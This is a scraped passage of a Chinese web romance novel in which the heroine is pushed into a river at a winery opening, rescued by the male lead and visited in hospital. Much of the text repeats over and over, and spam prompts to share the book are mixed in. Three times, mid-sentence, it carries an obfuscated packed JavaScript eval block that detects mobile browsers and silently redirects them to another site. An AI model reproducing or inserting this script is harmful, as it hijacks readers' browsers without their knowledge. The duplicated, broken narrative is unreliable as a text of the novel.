“这个灌装线是升级过的。贺淮钦又向她介绍起远处那条半自动化的流水线,“这条灌装线每分钟灌装60瓶,精度误差小于0.5毫升,在这个体量的精品酒庄里,是国内顶配。 温昭宁觉得她现在就像是个第一次来访的游客,而贺淮钦像是这里的主人。 “所以……她开口,声音里带着一丝无奈的笑意,“现 在到底是我在带你参观还是你在带我参观?” 贺淮钦的脚步停了一下。 他微微侧过头看着她。 “你带我。”他说“因为没有你根本不会有这个酒庄。” 酿造区暖黄的灯光落在他的侧脸上柔和了他惯常冷硬的下颌线条那双深黑的眼眸里藏着难以察觉的温柔。 温昭宁还没来得及揣摩他这句话是什么意思就看到副镇长的助理跑过来说:“贺先生酒庄的开业典礼马上要开始了副镇长请你和温老板过去准备剪彩。”—— 剪彩仪式在酒庄主楼前的广场上举行暖阳正好红绸鲜艳金剪落下时掌声雷动。 之后贺淮钦和副镇长都上台发了言两人的发言稿都不是本人写的 现场的村民们听到温昭宁的名字都鼓起掌来。 大家都知道酒庄刚开始建造的时候是温昭宁顶着严寒酷暑每天要跑工地无数趟她的身体出现问题其中有一大部分的工作压力就来自这个酒庄。 媒体记者知道温昭宁对这个酒庄的贡献后把温昭宁请到边上对她做了一个简短的专访。 专访结束开业活动也已经渐渐开始收尾。 温昭宁去了趟洗手间刚准备回民宿费芝惠不知道从哪里蹦出来忽然出现在她面前挡住了她的去路。 “温昭宁你故意的对不对?”费芝惠瞪着她眼底翻涌着近乎失控的怨毒。 “什么?”温昭宁不明所以“你在说什么?” “还装傻呢你今天穿得花枝招展的不就是来抢我的风头的吗?”费芝惠的声音在发抖“凭什么?凭什么副镇长讲话贺先生讲话他们都在感谢你凭什么你能轮到剪彩?明明最琐碎最磨人的收尾工作是我们团队日夜盯出来的你到底算哪门子的功臣啊?” “我从来没说功劳是我一个人的。” “你少假惺惺的了你如果不是想来抢功那你来干什么?” “是副镇长让我来的我来也和在场的所有村民一样是为我们村能有这么一个大项目落成感到高兴想要亲眼见证仅此而已。” “呸 ,你这些冠冕堂皇的话也就骗骗别人。”费芝惠猛地上前一步,“我可不是那么好骗的,我一眼就看出来了,你就是个装货,酒庄项目到了最难的收尾工作,你就装抑郁症,装病,往家里一躺,眼见酒庄落成,你的病又好了,哪儿有那么快好的抑郁症?你医学奇迹啊?我看你分明就是怕辛苦中途撂挑子,现在又来摘桃子,你不要脸!” 温昭宁听到费芝惠说她装病,就彻底失去了和她沟通的耐心。 这人从头到尾自说自话,她活在自己的臆想里,和她说再多都没有用。 “随便你怎么想我。” 温昭宁说完,绕过费芝惠就想走,可费芝惠情绪尖锐得像是刺猬,她扬手狠狠推了温昭宁一把。 “你承认了是吧?你承认了抢我风头是吧,今天要不是你来搅浑水,贺先生他们感谢的人一定是我,都是你!都是你!” 她越说越激动,把温昭宁逼得步步后退。 温昭宁有点受不了了:“你属疯狗的吧?” “你又骂我!你抢我功劳还骂我,你**吧!” 费芝惠用力一推。 温昭宁甚至来不及惊呼,身体已经在瞬间失去了平衡,她向后仰去,视线最后定格的画面是费芝惠骤然睁大的眼睛,那眼睛里是既惊恐又后悔的表情。 然后…… “扑通”一声,温昭宁掉进了村上最大的玉带河中。 听说看这本书的人都是很幸运的,分享后你的运气会更棒 ,你这些冠冕堂皇的话也就骗骗别人。”费芝惠猛地上前一步,“我可不是那么好骗的,我一眼就看出来了,你就是个装货,酒庄项目到了最难的收尾工作,你就装抑郁症,装病,往家里一躺,眼见酒庄落成,你的病又好了,哪儿有那么快好的抑郁症?你医学奇迹啊?我看你分明就是怕辛苦中途撂挑子,现在又来摘桃子,你不要脸!” 温昭宁听到费芝惠说她装病,就彻底失去了和她沟通的耐心。 这人从头到尾自说自话,她活在自己的臆想里,和她说再多都没有用。 “随便你怎么想我。” 温昭宁说完,绕过费芝惠就想走,可费芝惠情绪尖锐得像是刺猬,她扬手狠狠推了温昭宁一把。 “你承认了是吧?你承认了抢我风头是吧,今天要不是你来搅浑水,贺先生他们感谢的人一定是我,都是你!都是你!” 她越说越激动,把温昭宁逼得步步后退。 温昭宁有点受不了了:“你属疯狗的吧?” “你又骂我!你抢我功劳还骂我,你**吧!” 费芝惠用力一推。 温昭宁甚至来不及惊呼,身体已经在瞬间失去了平衡,她向后仰去,视线最后定格的画面是费芝惠骤然睁大的眼睛,那眼睛里是既惊恐又后悔的表情。 然后…… “扑通”一声,温昭宁掉进了村上最大的玉带河中。 听说看这本书的人都是很幸运的,分享后你的运气会更棒 ,你这些冠冕堂皇的话也就骗骗别人。费芝惠猛地上前一步,“我可不是那么好骗的,我一眼就看出来了,你就是个装货,酒庄项目到了最难的收尾工作,你就装抑郁症,装病,往家里一躺,眼见酒庄落成,你的病又好了,哪儿有那么快好的抑郁症?你医学奇迹啊?我看你分明就是怕辛苦中途撂挑子,现在又来摘桃子,你不要脸! 温昭宁听到费芝惠说她装病,就彻底失去了和她沟通的耐心。 这人从头到尾自说自话,她活在自己的臆想里,和她说再多都没有用。 “随便你怎么想我。 温昭宁说完,绕过费芝惠就想走,可费芝惠情绪尖锐得像是刺猬,她扬手狠狠推了温昭宁一把。 “你承认了是吧?你承认了抢我风头是吧,今天要不是你来搅浑水,贺先生他们感谢的人一定是我,都是你!都是你! 她越说越激动,把温昭宁逼得步步后退。 温昭宁有点受不了了:“你属疯狗的吧? “你又骂我!你抢我功劳还骂我,你**吧! 费芝惠用力一推。 温昭宁甚至来不及惊呼,身体已经在瞬间失去了平衡,她向后仰去,视线最后定格的画面是费芝惠骤然睁大的眼睛,那眼睛里是既惊恐又后悔的表情。 然后…… “扑通一声,温昭宁掉进了村上最大的玉带河中。 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 你这些冠冕堂皇的话也就骗骗别人。”费芝惠猛地上前一步“我可不是那么好骗的我一眼就看出来了你就是个装货酒庄项目到了最难的收尾工作 温昭宁听到费芝惠说她装病就彻底失去了和她沟通的耐心。 这人从头到尾自说自话她活在自己的臆想里和她说再多都没有用。 “随便你怎么想我。” 温昭宁说完绕过费芝惠就想走可费芝惠情绪尖锐得像是刺猬她扬手狠狠推了温昭宁一把。 “你承认了是吧?你承认了抢我风头是吧今天要不是你来搅浑水贺先生他们感谢的人一定是我都是你!都是你!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17197466|196250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她越说越激动把温昭宁逼得步步后退。 温昭宁有点受不了了:“你属疯狗的吧?” “你又骂我!你抢我功劳还骂我你**吧!” 费芝惠用力一推。 温昭宁甚至来不及惊呼身体已经在瞬间失去了平衡她向后仰去视线最后定格的画面是费芝惠骤然睁大的眼睛那眼睛里是既惊恐又后悔的表情。 然后…… “扑通”一声温昭宁掉进了村上最大的玉带河中。 你的朋友正在书荒,快去帮帮他吧 ,你这些冠冕堂皇的话也就骗骗别人。”费芝惠猛地上前一步,“我可不是那么好骗的,我一眼就看出来了,你就是个装货,酒庄项目到了最难的收尾工作,你就装抑郁症,装病,往家里一躺,眼见酒庄落成,你的病又好了,哪儿有那么快好的抑郁症?你医学奇迹啊?我看你分明就是怕辛苦中途撂挑子,现在又来摘桃子,你不要脸!” 温昭宁听到费芝惠说她装病,就彻底失去了和她沟通的耐心。 这人从头到尾自说自话,她活在自己的臆想里,和她说再多都没有用。 “随便你怎么想我。” 温昭宁说完,绕过费芝惠就想走,可费芝惠情绪尖锐得像是刺猬,她扬手狠狠推了温昭宁一把。 “你承认了是吧?你承认了抢我风头是吧,今天要不是你来搅浑水,贺先生他们感谢的人一定是我,都是你!都是你!” 她越说越激动,把温昭宁逼得步步后退。 温昭宁有点受不了了:“你属疯狗的吧?” “你又骂我!你抢我功劳还骂我,你**吧!” 费芝惠用力一推。 温昭宁甚至来不及惊呼,身体已经在瞬间失去了平衡,她向后仰去,视线最后定格的画面是费芝惠骤然睁大的眼睛,那眼睛里是既惊恐又后悔的表情。 然后…… “扑通”一声,温昭宁掉进了村上最大的玉带河中。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 你这些冠冕堂皇的话也就骗骗别人。”费芝惠猛地上前一步“我可不是那么好骗的我一眼就看出来了你就是个装货酒庄项目到了最难的收尾工作你就装抑郁症装病往家里一躺眼见酒庄落成 温昭宁听到费芝惠说她装病就彻底失去了和她沟通的耐心。 这人从头到尾自说自话她活在自己的臆想里和她说再多都没有用。 “随便你怎么想我。” 温昭宁说完绕过费芝惠就想走可费芝惠情绪尖锐得像是刺猬她扬手狠狠推了温昭宁一把。 “你承认了是吧?你承认了抢我风头是吧今天要不是你来搅浑水贺先生他们感谢的人一定是我都是你!都是你!” 她越说越激动把温昭宁逼得步步后退。 温昭宁有点受不了了:“你属疯狗的吧?” “你又骂我!你抢我功劳还骂我你**吧!” 费芝惠用力一推。 温昭宁甚至来不及惊呼身体已经在瞬间失去了平衡她向后仰去视线最后定格的画面是费芝惠骤然睁大的眼睛那眼睛里是既惊恐又后悔的表情。 然后…… “扑通”一声温昭宁掉进了村上最大的玉带河中。 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 你这些冠冕堂皇的话也就骗骗别人。”费芝惠猛地上前一步“我可不是那么好骗的我一眼就看出来了你就是个装货酒庄项目到了最难的收尾工作你就装抑郁症装病 温昭宁听到费芝惠说她装病就彻底失去了和她沟通的耐心。 这人从头到尾自说自话她活在自己的臆想里和她说再多都没有用。 “随便你怎么想我。” 温昭宁说完绕过费芝惠就想走可费芝惠情绪尖锐得像是刺猬她扬手狠狠推了温昭宁一把。 “你承认了是吧?你承认了抢我风头是吧今天要不是你来搅浑水贺先生他们感谢的人一定是我都是你!都是你!” 她越说越激动把温昭宁逼得步步后退。 温昭宁有点受不了了:“你属疯狗的吧?” “你又骂我!你抢我功劳还骂我你**吧!” 费芝惠用力一推。 温昭宁甚至来不及惊呼身体已经在瞬间失去了平衡她向后仰去视线最后定格的画面是费芝惠骤然睁大的眼睛那眼睛里是既惊恐又后悔的表情。 然后…… “扑通”一声温昭宁掉进了村上最大的玉带河中。 听说看这本书的人都是很幸运的,分享后你的运气会更棒 第138章 我来教 温昭宁小时候什么都学了,唯独因为畏水,没有学会游泳。 落水的那一刻,她整个人都是懵的。 下一瞬,她就感觉到铺天盖地的水从四面八方灌入她的耳鼻咽喉。 玉带河的水比她记忆中更急,裹挟着她向下游冲去,她本能地挣扎,手掌拍击水面,却什么都抓不住。 她的裙子吸了水,也变得格外沉,像无数只手拽着她往下坠。 岸上有人在尖叫,很远,很模糊。 温昭宁想喊,呛进一大口水,喉咙像被砂纸打磨过的管道,只剩火烧火燎的痛。 她的意识开始涣散。 视线里的最后一丝光,正急速消散,就在这时,一个灰色的影子从岸上纵身跃入。 那灰影入水的姿势没有一点迟疑。 水花炸开的瞬间,副镇长他们全都跑来了。 “贺先生!贺先生!快来人啊,救人啊!” 贺淮钦什么都听不见了。 他只看到温昭宁的手在水里忽上忽下。 那只手曾在戈壁的风沙里被他紧紧握住,现在,那只手快要消失了。 追不上! 该死! 为什么追不上! 他看着前面那团模糊的影子,拼命游去,西装像是铅块一样死死缠住他的四肢,皮鞋重得像是灌了铁,他一边游一边扯,把外套撕开,把皮鞋蹬掉,狼狈得像个落水的莽夫,没了半分先前的矜贵模样。 岸上有人在喊:“贺先生,你上来,救援队马上到了!” 他没管,他的世界只剩下那漂浮的一抹绿。 终于,贺淮钦的指尖抓到了温昭宁身上柔软的衣料,他猛地收手,将那片衣料连同衣料里的人一并拽进了怀里。 她的身体好冷。 比他更冷。 那张脸苍白得像初冬的第一场霜,睫毛湿漉漉地贴在眼睑上,嘴唇泛着青紫色,眼睛紧紧闭着,安静得令他心脏紧紧逼仄到一处。 “温昭宁!”他喊她的名字,声音从喉咙里撕扯出来,“别睡!别睡!” 没有回应。 他托起她的下颌,拼命踩水,带着她往岸边靠。 水流太急,他的体力正在急速流失,每前进一寸都要付出成倍的代价 他的小腿有点抽筋但他顾不上。 他满脑子只有一个念头:不能松手绝对不能松手! 岸边的呼喊声越来越近有人跳下来接应几双手同时抓住了他和她贺淮钦被人群簇拥着推上岸却死死不肯放开怀里的温昭宁直到两人一起滚倒在河滩边。 “贺先生你没事吧?救护车马上就到!” “让开!” 贺淮钦跪在湿冷的石头上将她平放在膝头手指颤抖着探向她的颈侧。 有脉搏。 她还有呼吸只是呛了水暂时昏迷。 贺淮钦没有做心肺复苏而是将她侧过身用力拍打她的后背。 “温昭宁……吐出来……把水吐出来……”他不知是因为冷还是因为怕声音抖得厉害。 拍了许久温昭宁终于呛咳一声呕出一大口水睫毛剧烈地颤动了一下。 贺淮钦把她重新翻过来托起她的脸。 “温昭宁。”他俯下身额头几乎抵着她的额头乞求般开口:“睁眼睁眼看看我!” 温昭宁的睫毛又颤了一下紧接着那双眼睛缓缓睁开了一道缝。 浑浊、涣散、失焦…… 但她看见他了。 温昭宁的嘴唇动了动轻轻吐出几个字别人都没有听到但贺淮钦听懂了她在叫他的名字。 不是“贺先生”。 不是“和律师”。 而是贺淮钦。 “贺淮钦……” 周围人声嘈杂副镇长在吼什么救护车的鸣笛声由远及近费芝惠被人控制住了正在歇斯底里地尖叫和哭喊。 贺淮钦什么都听不见他只听见温昭宁的声音。 像很多很多年前在那些裂痕还没有产生之前的旧时光里她无数次喊他的那样自然亲昵带着一丝依赖地喊他“贺淮钦”。—— 救护车呼啸着赶到。 温昭宁和贺淮钦都被送去了医院。 一通检查后医生说温昭宁呛水不多意识清醒生命体征平稳留 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17204642|196250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 院观察一晚就可以回去。 温昭宁穿着干燥的病号服坐在病床边缘 “还好吗?” 贺淮钦从病房外走进来。 他已经洗过澡了,换了干净的衣物,整个人清清爽爽的。 “还好。”温昭宁看他一眼,“今天谢谢你。” 今天如果不是贺淮钦那纵身一跃,她恐怕没命等到救援队赶来了。 继上次沙尘暴之后,他又救了她一次。 其实经过这几个月的沉淀,温昭宁原本已经收拾好了自己的感情,她告诉自己,人与人之间,聚散离合,不过如此,贺淮钦恨她也好,不原谅她也好,都过去了。 她可以一个人往前走,不再回头看。 可是,他为什么要奋不顾身地跳下来? 没有犹豫,没有权衡,甚至没有一秒的停顿。 温昭宁的眼眶有点热。 不是委屈,也不是感动,是一种更复杂的情绪,像冬天结冰的河面,被春天的第一场雨敲出了细细的裂纹。 她以为自己足够坚强了,可原来被一个人这样不顾一切地搭救,她还是会有一点心动。 “怎么了?”贺淮钦看出她的脸色有点不对劲,“是不是哪里还不舒服?我给你叫医生……” “不用了,我没事。” “真的?” “嗯。” 贺淮钦似乎还有点不放心,他伸手过来,探了探温昭宁的额头,她的额头凉凉的,但比之前冰冷冷的状态好了许多,体温已经在慢慢正常起来了。 “今年暑假,我打算带青柠去学游泳。”贺淮钦忽然说。 温昭宁不知道他忽然和她说这个干什么,毕竟,他对女儿的规划和安排,她从来没有过问过。 “你也一起去学。”贺淮钦又补充一句。 好吧,原来他的重点在这里。 “我小时候学过,被呛了几次酸鼻子后,就不敢再下水了。”温昭宁想到小时候学游泳的那些趣事,忍不住笑了一下,“一般教练都受不了我。” “我受得了。”贺淮钦看着她,一脸认真,“我来教。” 第139章 没有新恋情 他要教她学游泳? 温昭宁的心一动。 她总觉得她病好后再遇到的贺淮钦和之前的那个口口声声说恨她的贺淮钦有点不一样了。 温昭宁还来不及说什么,走廊那头骤然炸开了一阵尖利的哭嚎。 “我的女儿啊!她不是故意的!她真的不是故意的! 病房的门猛地被推开。 一个中年妇人踉跄着冲进来,她的身后,跟着两个满脸为难、拦也不是不拦也不是的工作人员。 是费芝惠的母亲张红燕。 张红燕和费叔两人在村里经营一个葡萄园,费叔老实本分,和温昭宁舅舅关系还可以,张红燕这个人温昭宁不太了解,只是听说她嘴巴特别碎,爱说人是非。 “宁宁……哦不,温老板!温老板,我求求你,求求你放过我们家惠惠好不好?她还小,她不懂事,但我相信,她绝对不是故意的!她还那么年轻,她不能坐牢啊,我求求你,放过她…… 张红燕扑到温昭宁的病床前,膝盖一弯就要往下跪,被贺淮钦扶住了臂弯,硬生生地架了起来。 “她是故意的,我亲眼看到了。贺淮钦冷冷开口。 “你是谁啊?张红燕看贺淮钦一眼。 “你不用管我是谁。 张红燕推开贺淮钦,又往温昭宁床边扑:“温老板,你说说,大家都是一个村的,平日里也是抬头不见低头见,惠惠她爸和你舅舅关系也不错,求你就看在惠惠她爸和你舅舅的面子上,放过我们家惠惠吧,她如果真的去坐牢了,被耽误几年青春,出来还有什么前途?还怎么去嫁人?你也是有女儿的人啊,得饶人处且饶人吧! 温昭宁知道张红燕这是想道德**她,她的潜台词是,大家都是一个村的,如果费芝惠真的去坐牢,温昭宁以后也会被村里人指指点点。 农村人,最在乎的就是乡里乡亲的三言两语。 “饶人?贺淮钦才不吃这一套,他走过来,把温昭宁严严实实地挡在他的身后,“温老板为什么要饶人?刚才在玉带河里,她差点淹**!你女儿这就是蓄意**! “不不不,她绝对不是故意的,我女儿只是有点任性不懂事…… “不懂事?贺淮钦蹙眉,“伤害他人性命都可以用 不懂事去开脱,难怪你能养出这样的女儿。 张红燕脸一白。 她觉得眼前这个男人冷冷的,太让人发憷,她还是希望能和温昭宁直接沟通。 “宁宁……张红燕歪头看着温昭宁,“张姨求你…… 温昭宁沉了口气,开口:“张姨,你心疼女儿我理解,但我也有母亲,她如果知道我今天在冰冷的河水里差点淹**,她也会心疼我。而且,我还有一个年幼的女儿,如果我今天有事,谁又来心疼我的女儿? “惠惠她是做错事了,可是她还小…… “如果她每一次闯祸,你都替她去收拾去求情,那她就永远不可能长大。 张红燕还想继续纠缠,费叔忽然跑进来,一把攥住了张红燕的胳膊就往外拉:“你跑来这里做什么?村里的大喜事,被那个臭丫头搞得乌烟瘴气,还差点闹出人命,你怎么还有脸跑来这里?人教人教不会,事教人一教就会!她就该去蹲局子好好反省反省! “她是你女儿! “是我女儿又怎么样,做错了事,就得付出代价! 走廊里传来吵吵嚷嚷的声音,没一会儿,护士过来制止,费叔就拉着张红燕走了。 病房里安静下来。 温昭宁靠在床头,被这场漫长的喧闹抽走了最后一丝力气,她的太阳穴突突跳着,像有根细针在血管里缓慢地进进出出。 之前和贺淮钦聊到哪里,她也记不清了。 “是不是累了? 温昭宁看着他:“你要走了吗? “我不走,我就在这里,等你家人过来我再走。他眼神温柔,无声传达着她此刻最需要的安全感。 “谢谢。 “睡吧。 “嗯。 温昭宁躺下,闭上了眼睛。 可能是因为真的太疲惫了,也可能是因为贺淮钦在她身边,她的意识很快变得模糊,在半梦半醒的边界,她好像听见他起身了。 温昭宁以为他要走,但他没有。 他的脚步声停在床边,轻轻替她掖了掖被子,然后,她听到了他重新坐下的声音。 温昭宁没有睁眼,缓缓地沉入一个安稳的梦乡。 半个多小时后,温昭宁的母亲姚冬雪赶来医院。 是副镇长派人去通知姚冬雪的,姚冬雪听说女儿落水,吓得魂不守舍,立刻赶来医院。 姚冬雪一进病房,就看到了温昭宁病床边的贺淮钦。 他坐在椅子里,高高大大的,像一座巍峨的山似的守着温昭宁。 “阿姨。贺淮钦看到姚冬雪,站起来迎她。 姚冬雪冲他点点头,见温昭宁睡着了,她轻声地问:“情况怎么样? “检查过了,没什么大碍。贺淮钦的声音也很轻。 姚冬雪松了一口气。 两人面对面站着,气氛有一点尴尬。 贺淮钦记得,他们上一次见面,也是在医院,当时姚冬雪和他说,暂时不要出现在温昭宁的面前了。 他答应了,所以,他忍了两个多月。 “阿姨,既然你来了,那我先走了,再见。贺淮钦怕姚冬雪又要提让他不要出现在温昭宁面前的事情,只想着快点从姚冬雪面前消失。 “等等! 贺淮钦刚走到病房门口,姚冬雪追了出来。 “贺先生,我听说了,今天是你救了宁宁,非常感谢你的救命之恩。 “不客气。 “虽然你救了宁宁,但是,有些话我还是得说,她现在抑郁症刚刚好转,我不希望她再难过。 贺淮钦一愣。 新的恋情?他? “阿姨,这中间是不是有什么误会?我没有新的恋情。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 半个多小时后,温昭宁的母亲姚冬雪赶来医院。 是副镇长派人去通知姚冬雪的,姚冬雪听说女儿落水,吓得魂不守舍,立刻赶来医院。 姚冬雪一进病房,就看到了温昭宁病床边的贺淮钦。 他坐在椅子里,高高大大的,像一座巍峨的山似的守着温昭宁。 “阿姨。”贺淮钦看到姚冬雪,站起来迎她。 姚冬雪冲他点点头,见温昭宁睡着了,她轻声地问:“情况怎么样?” “检查过了,没什么大碍。”贺淮钦的声音也很轻。 姚冬雪松了一口气。 两人面对面站着,气氛有一点尴尬。 贺淮钦记得,他们上一次见面,也是在医院,当时姚冬雪和他说,暂时不要出现在温昭宁的面前了。 他答应了,所以,他忍了两个多月。 “阿姨,既然你来了,那我先走了,再见。”贺淮钦怕姚冬雪又要提让他不要出现在温昭宁面前的事情,只想着快点从姚冬雪面前消失。 “等等!” 贺淮钦刚走到病房门口,姚冬雪追了出来。 “贺先生,我听说了,今天是你救了宁宁,非常感谢你的救命之恩。” “不客气。” “虽然你救了宁宁,但是,有些话我还是得说,她现在抑郁症刚刚好转,我不希望她再难过。”姚冬雪看着贺淮钦,“你既然有了新的恋情,那就离她远点,不要再来招惹她了。” 贺淮钦一愣。 新的恋情?他? “阿姨,这中间是不是有什么误会?我没有新的恋情。” 你的朋友正在书荒,快去帮帮他吧 半个多小时后,温昭宁的母亲姚冬雪赶来医院。 是副镇长派人去通知姚冬雪的,姚冬雪听说女儿落水,吓得魂不守舍,立刻赶来医院。 姚冬雪一进病房,就看到了温昭宁病床边的贺淮钦。 他坐在椅子里,高高大大的,像一座巍峨的山似的守着温昭宁。 “阿姨。”贺淮钦看到姚冬雪,站起来迎她。 姚冬雪冲他点点头,见温昭宁睡着了,她轻声地问:“情况怎么样?” “检查过了,没什么大碍。”贺淮钦的声音也很轻。 姚冬雪松了一口气。 两人面对面站着,气氛有一点尴尬。 贺淮钦记得,他们上一次见面,也是在医院,当时姚冬雪和他说,暂时不要出现在温昭宁的面前了。 他答应了,所以,他忍了两个多月。 “阿姨,既然你来了,那我先走了,再见。”贺淮钦怕姚冬雪又要提让他不要出现在温昭宁面前的事情,只想着快点从姚冬雪面前消失。 “等等!” 贺淮钦刚走到病房门口,姚冬雪追了出来。 “贺先生,我听说了,今天是你救了宁宁,非常感谢你的救命之恩。” “不客气。” “虽然你救了宁宁,但是,有些话我还是得说,她现在抑郁症刚刚好转,我不希望她再难过。”姚冬雪看着贺淮钦,“你既然有了新的恋情,那就离她远点,不要再来招惹她了。” 贺淮钦一愣。 新的恋情?他? “阿姨,这中间是不是有什么误会?我没有新的恋情。” 听说看这本书的人都是很幸运的,分享后你的运气会更棒 半个多小时后,温昭宁的母亲姚冬雪赶来医院。 是副镇长派人去通知姚冬雪的,姚冬雪听说女儿落水,吓得魂不守舍,立刻赶来医院。 姚冬雪一进病房,就看到了温昭宁病床边的贺淮钦。 他坐在椅子里,高高大大的,像一座巍峨的山似的守着温昭宁。 “阿姨。”贺淮钦看到姚冬雪,站起来迎她。 姚冬雪冲他点点头,见温昭宁睡着了,她轻声地问:“情况怎么样?” “检查过了,没什么大碍。”贺淮钦的声音也很轻。 姚冬雪松了一口气。 两人面对面站着,气氛有一点尴尬。 贺淮钦记得,他们上一次见面,也是在医院,当时姚冬雪和他说,暂时不要出现在温昭宁的面前了。 他答应了,所以,他忍了两个多月。 “阿姨,既然你来了,那我先走了,再见。”贺淮钦怕姚冬雪又要提让他不要出现在温昭宁面前的事情,只想着快点从姚冬雪面前消失。 “等等!” 贺淮钦刚走到病房门口,姚冬雪追了出来。 “贺先生,我听说了,今天是你救了宁宁,非常感谢你的救命之恩。” “不客气。” “虽然你救了宁宁,但是,有些话我还是得说,她现在抑郁症刚刚好转,我不希望她再难 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17204643|196250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过。”姚冬雪看着贺淮钦,“你既然有了新的恋情,那就离她远点,不要再来招惹她了。” 贺淮钦一愣。 新的恋情?他? “阿姨,这中间是不是有什么误会?我没有新的恋情。” 你的朋友正在书荒,快去帮帮他吧 半个多小时后,温昭宁的母亲姚冬雪赶来医院。 是副镇长派人去通知姚冬雪的,姚冬雪听说女儿落水,吓得魂不守舍,立刻赶来医院。 姚冬雪一进病房,就看到了温昭宁病床边的贺淮钦。 他坐在椅子里,高高大大的,像一座巍峨的山似的守着温昭宁。 “阿姨。”贺淮钦看到姚冬雪,站起来迎她。 姚冬雪冲他点点头,见温昭宁睡着了,她轻声地问:“情况怎么样?” “检查过了,没什么大碍。”贺淮钦的声音也很轻。 姚冬雪松了一口气。 两人面对面站着,气氛有一点尴尬。 贺淮钦记得,他们上一次见面,也是在医院,当时姚冬雪和他说,暂时不要出现在温昭宁的面前了。 他答应了,所以,他忍了两个多月。 “阿姨,既然你来了,那我先走了,再见。”贺淮钦怕姚冬雪又要提让他不要出现在温昭宁面前的事情,只想着快点从姚冬雪面前消失。 “等等!” 贺淮钦刚走到病房门口,姚冬雪追了出来。 “贺先生,我听说了,今天是你救了宁宁,非常感谢你的救命之恩。” “不客气。” “虽然你救了宁宁,但是,有些话我还是得说,她现在抑郁症刚刚好转,我不希望她再难过。”姚冬雪看着贺淮钦,“你既然有了新的恋情,那就离她远点,不要再来招惹她了。” 贺淮钦一愣。 新的恋情?他? “阿姨,这中间是不是有什么误会?我没有新的恋情。” 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 半个多小时后温昭宁的母亲姚冬雪赶来医院。 是副镇长派人去通知姚冬雪的姚冬雪听说女儿落水吓得魂不守舍立刻赶来医院。 姚冬雪一进病房就看到了温昭宁病床边的贺淮钦。 他坐在椅子里 “阿姨。”贺淮钦看到姚冬雪站起来迎她。 姚冬雪冲他点点头见温昭宁睡着了她轻声地问:“情况怎么样?” “检查过了没什么大碍。”贺淮钦的声音也很轻。 姚冬雪松了一口气。 两人面对面站着气氛有一点尴尬。 贺淮钦记得他们上一次见面也是在医院当时姚冬雪和他说暂时不要出现在温昭宁的面前了。 他答应了所以他忍了两个多月。 “阿姨既然你来了那我先走了再见。”贺淮钦怕姚冬雪又要提让他不要出现在温昭宁面前的事情只想着快点从姚冬雪面前消失。 “等等!” 贺淮钦刚走到病房门口姚冬雪追了出来。 “贺先生我听说了今天是你救了宁宁非常感谢你的救命之恩。” “不客气。” “虽然你救了宁宁但是有些话我还是得说她现在抑郁症刚刚好转我不希望她再难过。”姚冬雪看着贺淮钦“你既然有了新的恋情那就离她远点不要再来招惹她了。” 贺淮钦一愣。 新的恋情?他? “阿姨这中间是不是有什么误会?我没有新的恋情。” 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 半个多小时后温昭宁的母亲姚冬雪赶来医院。 是副镇长派人去通知姚冬雪的姚冬雪听说女儿落水吓得魂不守舍立刻赶来医院。 姚冬雪一进病房就看到了温昭宁病床边的贺淮钦。 他坐在椅子里高高大大的像一座巍峨的山似的守着温昭宁。 “阿姨。”贺淮钦看到姚冬雪站起来迎她。 姚冬雪冲他点点头见温昭宁睡着了她轻声地问:“情况怎么样?” “检查过了没什么大碍。”贺淮钦的声音也很轻。 姚冬雪松了一口气。 两人面对面站着气氛有一点尴尬。 贺淮钦记得他们上一次见面 小说的域名caixs?(请来才 小说 看最新章节 完整章节)也是在医院当时姚冬雪和他说暂时不要出现在温昭宁的面前了。 他答应了所以他忍了两个多月。 “阿姨既然你来了那我先走了再见。”贺淮钦怕姚冬雪又要提让他不要出现在温昭宁面前的事情只想着快点从姚冬雪面前消失。 “等等!” 贺淮钦刚走到病房门口姚冬雪追了出来。 “贺先生我听说了今天是你救了宁宁非常感谢你的救命之恩。” “不客气。” “虽然你救了宁宁但是有些话我还是得说她现在抑郁症刚刚好转我不希望她再难过。”姚冬雪看着贺淮钦“你既然有了新的恋情那就离她远点不要再来招惹她了。” 贺淮钦一愣。 新的恋情?他? “阿姨这中间是不是有什么误会?我没有新的恋情。” 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 第140章 我帮你解释清楚 贺淮钦话音落下,瞬间轮到姚冬雪愣住了。 